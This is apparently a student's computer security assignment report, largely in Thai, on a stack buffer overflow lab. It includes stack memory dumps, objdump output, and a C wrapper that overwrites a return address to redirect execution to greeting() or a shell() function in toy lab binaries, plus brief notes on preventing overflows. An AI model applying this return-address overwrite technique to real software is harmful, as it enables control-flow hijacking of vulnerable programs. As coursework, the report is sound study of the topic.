0% found this document useful (0 votes)
272 views

Computer Security Assignment 03

The document discusses buffer overflow exploitation in a C program (ex2.c). It provides the steps taken: 1) Use objdump to determine the address of functions greeting() and concat_arguments(). 2) Modify ex2.c to print addresses and draw the stack layout to determine the offset (36 bytes) from buf to the return address. 3) A wrapper program is created that overwrites bytes 36-39 of the buffer with the address of greeting() 0x08048514 to redirect execution. When run, a stack smashing error occurs, demonstrating successful exploitation.
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
272 views

Computer Security Assignment 03

The document discusses buffer overflow exploitation in a C program (ex2.c). It provides the steps taken: 1) Use objdump to determine the address of functions greeting() and concat_arguments(). 2) Modify ex2.c to print addresses and draw the stack layout to determine the offset (36 bytes) from buf to the return address. 3) A wrapper program is created that overwrites bytes 36-39 of the buffer with the address of greeting() 0x08048514 to redirect execution. When run, a stack smashing error occurs, demonstrating successful exploitation.
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 6

Computer Security Assignment 3

1. Draw a stack layout of your program. Start from the address of &buf[0] and stop at &i+8.
Specify symbol and content (if possible). Make sure that you have identified argument (i), and
return address.
ผลของโปรแกรม :
sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./ex1
&main = 0x8048474
&myfunction = 0x80484b5
&i = 0xbfae5df0
&buf[0] = 0xbfae5dc8
0xbfae5df8: 0xbb
0xbfae5df7: 0x8 0xbfae5df6: 0x4 0xbfae5df5: 0x84 0xbfae5df4: 0xb5
0xbfae5df3: 0x0 0xbfae5df2: 0x0 0xbfae5df1: 0x0 0xbfae5df0: 0xc
0xbfae5def: 0x8 0xbfae5dee: 0x4 0xbfae5ded: 0x84 0xbfae5dec: 0xb3
0xbfae5deb: 0xbf 0xbfae5dea: 0xae 0xbfae5de9: 0x5e 0xbfae5de8: 0x8
0xbfae5de7: 0x0 0xbfae5de6: 0xac 0xbfae5de5: 0x5f 0xbfae5de4: 0xf4
0xbfae5de3: 0xbf 0xbfae5de2: 0xae 0xbfae5de1: 0x5d 0xbfae5de0: 0xf4
0xbfae5ddf: 0x6e 0xbfae5dde: 0xd6 0xbfae5ddd: 0x5b 0xbfae5ddc: 0x0
0xbfae5ddb: 0x0 0xbfae5dda: 0x38 0xbfae5dd9: 0x37 0xbfae5dd8: 0x36
0xbfae5dd7: 0x35 0xbfae5dd6: 0x34 0xbfae5dd5: 0x33 0xbfae5dd4: 0x32
0xbfae5dd3: 0x31 0xbfae5dd2: 0x30 0xbfae5dd1: 0x39 0xbfae5dd0: 0x38
0xbfae5dcf: 0x37 0xbfae5dce: 0x36 0xbfae5dcd: 0x35 0xbfae5dcc: 0x34
0xbfae5dcb: 0x33 0xbfae5dca: 0x32 0xbfae5dc9: 0x31 0xbfae5dc8: 0x30
0xbfae5dc7: 0x0 0xbfae5dc6: 0x0 0xbfae5dc5: 0x0 0xbfae5dc4: 0x0
0xbfae5dc3: 0x0 0xbfae5dc2: 0x0 0xbfae5dc1: 0x0

วาดเป็น stack layout ได้ดังรูปต่อไปนี้

สิทธิ ทรัพย์ศก
ุ ล 4931839321
Address relate to
Address Content Symbol
buf
0xbfae5df8 buf + 0x30 bb

0xbfae5df4 buf + 0x2f to 2c 08 04 84 b5 address of myfunction()

&i = 0xbfae5df0 buf + 0x2b to 28 00 00 00 0c int i = 12


return address after
0xbfae5dec buf + 0x27 to 24 08 04 84 b3
finish myfunction()
0xbfae5de8 buf + 0x23 to 20 bf ae 5e 08

0xbfae5de4 buf + 0x1f to 1c 00 ac 5f f4

0xbfae5de0 buf + 0x18 to 1b bf ae 5d f4

0xbfae5ddc buf + 0x17 to 14 6e d6 5b 00

0xbfae5dd8 buf + 0x13 to 10 '\0', '8', '7', '6'

0xbfae5dd4 buf + 0x0f to 0c '5', '4', '3', '2'

0xbfae5dd0 buf + 0x0b to 08 '1', '0', '9', '8' buf[20]

0xbfae5dcc buf + 0x07 to 04 '7', '6', '5', '4'

&buf[0] = 0xbfae5dc8 buf + 0x03 to 00 '3', '2', '1', '0'

Illustration 1: Stack layout of ex1

2. Modify the example program to exploit buffer-overflow attacks in the given program (ex2.c). Put
your code in the report and explain how did you obtain the offset and a valid return address for the
attack.
ใช้คำาสั่ง objdump -d ex2 เพื่อดูผลที่เกิดขึ้น

08048514 <greeting>:

08048665 <main>:
8048665: 55 push %ebp
8048666: 89 e5 mov %esp,%ebp
8048668: 83 e4 f0 and $0xfffffff0,%esp
804866b: 83 ec 10 sub $0x10,%esp
804866e: e8 a1 fe ff ff call 8048514 <greeting>
8048673: 8b 45 0c mov 0xc(%ebp),%eax
8048676: 89 44 24 04 mov %eax,0x4(%esp)
804867a: 8b 45 08 mov 0x8(%ebp),%eax
804867d: 89 04 24 mov %eax,(%esp)
8048680: e8 c4 fe ff ff call 8048549 <concat_arguments>
8048685: c9 leave

ทำาให้ทราบว่า address ของ greeting() อยู่ที่ 08048514 และ return address ของ concat_arguments() อยู่ที่
8048685

และจาก stack layout ใน ex1 ทำาให้ทราบว่า return address จะอยู่ห่างจาก buf[0] เท่ากับ ขนาดของ buf ทีป
่ ระกาศ
ไว้ + 16 ซึ่งในที่นี้ประกาศ buf ไว้มีขนาดเท่ากับ 20 ดังนั้นจึงได้ offset เท่ากับ 36
เพื่อให้ง่ายต่อการสังเกต จึงขอเพิ่มโค้ดตามตัวหนาดังข้างล่างนี้ในโปรแกรม ex2.c
void greeting() {
printf("Welcome to exercise II\n");

สิทธิ ทรัพย์ศก
ุ ล 4931839321
printf("I hope you enjoy it\n\n");
printf("&greeting() : %p\n", &greeting); // แสดง address ของ greeting()
}

void concat_arguments(int argc, char**argv) {


char buf[20];
char *p = buf;
int i;

for(i=1;i<argc;i++) {
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc) {
*p++ = ' ';
}
}
printf("%s\n", buf);

//// เพิ่ม

printf("&argc = %p\n", &argc); // แสดง address ของ argc


printf("&buf[0] = %p\n", buf); // แสดง address ของ buf[0]
for(p=((char *) &argc)+8;p>buf-8;p--) {
printf("%15p: 0x%x\t", p, *(unsigned char*) p); // วาด stack layout ออกมาเป็นเหมือน ex1
if (! ((unsigned int )p %4) )
printf("\n");
}
printf("\n");
}

และโปรแกรม wrapper.c มีการปรับแต่งค่า offset ดังนี้


int main(int argc,char **argv) {
char *buf = (char *) malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
for(i=0; i < 35; i++) {
buf[i] = 'x';
}
buf[36]= 0x14;
buf[37]= 0x85;
buf[38]= 0x04;
buf[39]= 0x08;
arr[0] = "./ex2";
arr[1] = buf;
arr[2] = '\0';
execv("./ex2", arr);
}
ได้มก
ี ารวนลูปเพือ
่ แทนค่า 'x' ให้กับ buf[0] ถึง buf[34] แทนค่า buf[39] ถึง buf[36] ด้วย 0x08048514 ซึ่งเป็น
address ของ greeting()
ผลการทดสอบโปรแกรม ex2 ทีไ
่ ด้รับการปรับแต่งพบว่ามี stack smashing เกิดขึ้น
sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./wrapper
Welcome to exercise II
I hope you enjoy it

&greeting() : 0x8048514
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&argc = 0xbf8ac2e0
&buf[0] = 0xbf8ac2b8

สิทธิ ทรัพย์ศก
ุ ล 4931839321
0xbf8ac2e8: 0xab
0xbf8ac2e7: 0xbf 0xbf8ac2e6: 0x8a 0xbf8ac2e5: 0xc3 0xbf8ac2e4: 0xa4
0xbf8ac2e3: 0x0 0xbf8ac2e2: 0x0 0xbf8ac2e1: 0x0 0xbf8ac2e0: 0x2
0xbf8ac2df: 0x8 0xbf8ac2de: 0x4 0xbf8ac2dd: 0x86 0xbf8ac2dc: 0x85
0xbf8ac2db: 0x0 0xbf8ac2da: 0x78 0xbf8ac2d9: 0x78 0xbf8ac2d8: 0x78
0xbf8ac2d7: 0x78 0xbf8ac2d6: 0x78 0xbf8ac2d5: 0x78 0xbf8ac2d4: 0x78
0xbf8ac2d3: 0x78 0xbf8ac2d2: 0x78 0xbf8ac2d1: 0x78 0xbf8ac2d0: 0x78
0xbf8ac2cf: 0x78 0xbf8ac2ce: 0x78 0xbf8ac2cd: 0x78 0xbf8ac2cc: 0x78
0xbf8ac2cb: 0x78 0xbf8ac2ca: 0x78 0xbf8ac2c9: 0x78 0xbf8ac2c8: 0x78
0xbf8ac2c7: 0x78 0xbf8ac2c6: 0x78 0xbf8ac2c5: 0x78 0xbf8ac2c4: 0x78
0xbf8ac2c3: 0x78 0xbf8ac2c2: 0x78 0xbf8ac2c1: 0x78 0xbf8ac2c0: 0x78
0xbf8ac2bf: 0x78 0xbf8ac2be: 0x78 0xbf8ac2bd: 0x78 0xbf8ac2bc: 0x78
0xbf8ac2bb: 0x78 0xbf8ac2ba: 0x78 0xbf8ac2b9: 0x78 0xbf8ac2b8: 0x78
0xbf8ac2b7: 0xbf 0xbf8ac2b6: 0x8a 0xbf8ac2b5: 0xc2 0xbf8ac2b4: 0xb4
0xbf8ac2b3: 0x0 0xbf8ac2b2: 0x0 0xbf8ac2b1: 0x0
*** stack smashing detected ***: ./ex2 terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xe7ade8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xe7ada0]
./ex2[0x8048663]
./ex2[0x8048685]
======= Memory map: ========
00569000-0056a000 r-xp 00000000 00:00 0 [vdso]
007af000-007cb000 r-xp 00000000 08:06 1807 /lib/libgcc_s.so.1
007cb000-007cc000 r--p 0001b000 08:06 1807 /lib/libgcc_s.so.1
007cc000-007cd000 rw-p 0001c000 08:06 1807 /lib/libgcc_s.so.1
00c69000-00c84000 r-xp 00000000 08:06 1757 /lib/ld-2.10.1.so
00c84000-00c85000 r--p 0001a000 08:06 1757 /lib/ld-2.10.1.so
00c85000-00c86000 rw-p 0001b000 08:06 1757 /lib/ld-2.10.1.so
00d9a000-00ed8000 r-xp 00000000 08:06 5168 /lib/tls/i686/cmov/libc-2.10.1.so
00ed8000-00eda000 r--p 0013e000 08:06 5168 /lib/tls/i686/cmov/libc-2.10.1.so
00eda000-00edb000 rw-p 00140000 08:06 5168 /lib/tls/i686/cmov/libc-2.10.1.so
00edb000-00ede000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:06 163059 /home/sitdhi/Documents/Computer Security/ex2
08049000-0804a000 r--p 00000000 08:06 163059 /home/sitdhi/Documents/Computer Security/ex2
0804a000-0804b000 rw-p 00001000 08:06 163059 /home/sitdhi/Documents/Computer Security/ex2
09314000-09335000 rw-p 00000000 00:00 0 [heap]
b78cb000-b78cc000 rw-p 00000000 00:00 0
b78dc000-b78df000 rw-p 00000000 00:00 0
bf899000-bf8ae000 rw-p 00000000 00:00 0 [stack]
Aborted
จะเห็นว่าตั้งแต่ buf[0] ถึง buf[34] (ที่เป็นตัวหนา) มีค่าเป็น 0x78 ซึ่งเป็นรหัส ASCII ของ 'x' แต่ในช่อง buf[35] (ตัวหนา
ขีดเส้นใต้) เป็น 0x0 หรือ null ซึ่งเป็นตัวบ่งบอกว่าสิ้นสุด argument ทีร่ ับเข้ามาแล้ว จึงทำาให้ค่า return address (ตัว
เอียง) ไม่มีการเปลี่ยนแปลง เพราะ over-flow ไปไม่ถึง
แต่เมื่อปรับให้โปรแกรม wrapper.c เป็นดังนี้
for(i=0; i < 35; i++) {
buf[i] = 'x';
}
buf[35]= 0x14;
buf[36]= 0x85;
buf[37]= 0x04;
buf[38]= 0x08;
ผลของการรันโปรแกรมจะได้
sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./wrapper
Welcome to exercise II
I hope you enjoy it

&greeting() : 0x8048514

สิทธิ ทรัพย์ศก
ุ ล 4931839321
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx#�#
&argc = 0xbfbc31f0
&buf[0] = 0xbfbc31c8
0xbfbc31f8: 0xab
0xbfbc31f7: 0xbf 0xbfbc31f6: 0xbc 0xbfbc31f5: 0x32 0xbfbc31f4: 0xb4
0xbfbc31f3: 0x0 0xbfbc31f2: 0x0 0xbfbc31f1: 0x0 0xbfbc31f0: 0x2
0xbfbc31ef: 0x0 0xbfbc31ee: 0x8 0xbfbc31ed: 0x4 0xbfbc31ec: 0x85
0xbfbc31eb: 0x14 0xbfbc31ea: 0x78 0xbfbc31e9: 0x78 0xbfbc31e8: 0x78
0xbfbc31e7: 0x78 0xbfbc31e6: 0x78 0xbfbc31e5: 0x78 0xbfbc31e4: 0x78
0xbfbc31e3: 0x78 0xbfbc31e2: 0x78 0xbfbc31e1: 0x78 0xbfbc31e0: 0x78
0xbfbc31df: 0x78 0xbfbc31de: 0x78 0xbfbc31dd: 0x78 0xbfbc31dc: 0x78
0xbfbc31db: 0x78 0xbfbc31da: 0x78 0xbfbc31d9: 0x78 0xbfbc31d8: 0x78
0xbfbc31d7: 0x78 0xbfbc31d6: 0x78 0xbfbc31d5: 0x78 0xbfbc31d4: 0x78
0xbfbc31d3: 0x78 0xbfbc31d2: 0x78 0xbfbc31d1: 0x78 0xbfbc31d0: 0x78
0xbfbc31cf: 0x78 0xbfbc31ce: 0x78 0xbfbc31cd: 0x78 0xbfbc31cc: 0x78
0xbfbc31cb: 0x78 0xbfbc31ca: 0x78 0xbfbc31c9: 0x78 0xbfbc31c8: 0x78
0xbfbc31c7: 0xbf 0xbfbc31c6: 0xbc 0xbfbc31c5: 0x31 0xbfbc31c4: 0xc4
0xbfbc31c3: 0x0 0xbfbc31c2: 0x0 0xbfbc31c1: 0x0
*** stack smashing detected ***: ./ex2 terminated
จะเห็นว่า buf[38] ถึง buf[35] (ตัวหนา) มีการเปลี่ยนแปลงค่าเป็น 0x8, 0x4, 0x85 และ 0x14 ตามลำาดับ ซึ่งเป็นค่าที่เราได้
กำาหนดไว้ในโปรแกรม wrapper.c แต่ยังไม่ใช่ที่ตอ ้ งการ เนื่องจากเราต้องการให้ buf[35] ไม่เป็น 0x0 หรือ null และ 0x8,
0x4, 0x85 และ 0x14 อยูท ่ ี่ตำาแหน่ง buf[39] ถึง buf[36] ตามลำาดับ เราจึงต้องแก้ไขโค้ดใน wrapper.c ใหม่
for(i=0; i < 36; i++) {
buf[i] = 'x';
}
buf[36]= 0x14;
buf[37]= 0x85;
buf[38]= 0x04;
buf[39]= 0x08;
โดยวนลูปจนถึง i < 36 เพือ ่ ไม่ให้เกิด null ใน buf[35] และให้ buf[39] ถึง buf[36] มีค่าเป็น 0x8, 0x4, 0x85 และ 0x14
ตามลำาดับ ซึ่งคือ address ของ greeting() ตามทีค ่ าดการณ์ไว้ มันน่าจะถูกต้องทุกอย่างแล้ว แต่ผลการทดสอบโปรแกรม
เป็นดังนี้
sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./wrapper
Welcome to exercise II
I hope you enjoy it

&greeting() : 0x8048514
Segmentation fault

3. จากความรู้ข้อ 1 และ ข้อ 2 ทำาให้คาดว่า return address ทีจ


่ ะต้องถูกแก้ไข อยู่ที่ buf[39] ถึง buf[36]
#include <stdio.h>
#include <stdlib.h>

int main(int argc,char **argv) {


char *buf = (char *) malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
for(i=0; i < 36; i++) {
buf[i] = 'x';
}

/* 080484d4 <shell> */
buf[36]= 0xd4;
buf[37]= 0x84;
buf[38]= 0x04;
buf[39]= 0x08;
arr[0] = "./victim";

สิทธิ ทรัพย์ศก
ุ ล 4931839321
arr[1] = buf;
arr[2] = '\0';
execv("./victim", arr);
}
4. Question: Now you have mastered a generic buffer-overflow attack. Please answer the
following questions.
• Most viruses and worms use buffer overflow as a basis for its attack.
Do you think that exploiting buffer-overflow attacks is trivial? Please justify your answer.
(i.e. Is it trivial to write a program to exploit buffer-overflow attacks in a server ?)
การทำา buffer-overflow นั้น ไม่ใช่เรือ
่ งง่ายก็จริง เพราะในบางกรณีเราไม่อาจทราบได้เลยว่า source code ของ
โปรแกรมที่เราจะโจมตีนั้นเขียนขึ้นมาอย่างไร แต่โปรแกรมที่ใช้กันโดยทั่วไป เช่น Apache web server หรือ
แม้แต่ระบบปฏิบัตก
ิ ารจำาพวก Linux ก็มก ี ารเปิดเผย source code ดังนั้น หาที่จะต้องการเขียนโปรแกรมขึ้นมาเพื่อ
โจมตีการทำางานของโปรแกรมเหล่านี้ ก็ไม่ใช่เรือ ่ งยากเกินความสามารถเท่าใดนัก นักคอมพิวเตอร์โดยทั่วไปที่ทราบ
หลักการทำางานของระบบปฏิบต ั ิการคอมพิวเตอร์ก็สามารถทำาได้
• As a programmer, is it possible to avoid buffer overflow in your program (write secure code
that is not vulnerable to such attack)? Explain your strategy.
ในฐานะโปรแกรมเมอร์ เพื่อที่จะหลีกเลี่ยงการเกิด buffer-overflow ในโปรแกรม การรับค่า input เข้ามาใน
โปรแกรม ควรทำาการตรวจสอบความยาว และชนิดข้อมูลเสียก่อน ก็จะช่วยลดปัญหา buffer-overflow ลงส่วนหนึ่ง
หรืออีกกรณีหนึ่ง เลือกใช้ภาษาระดับที่สูงขึ้นมา ที่มต
ี ัวช่วยป้องกันปัญหา buffer-overflow เช่น Java

สิทธิ ทรัพย์ศก
ุ ล 4931839321

You might also like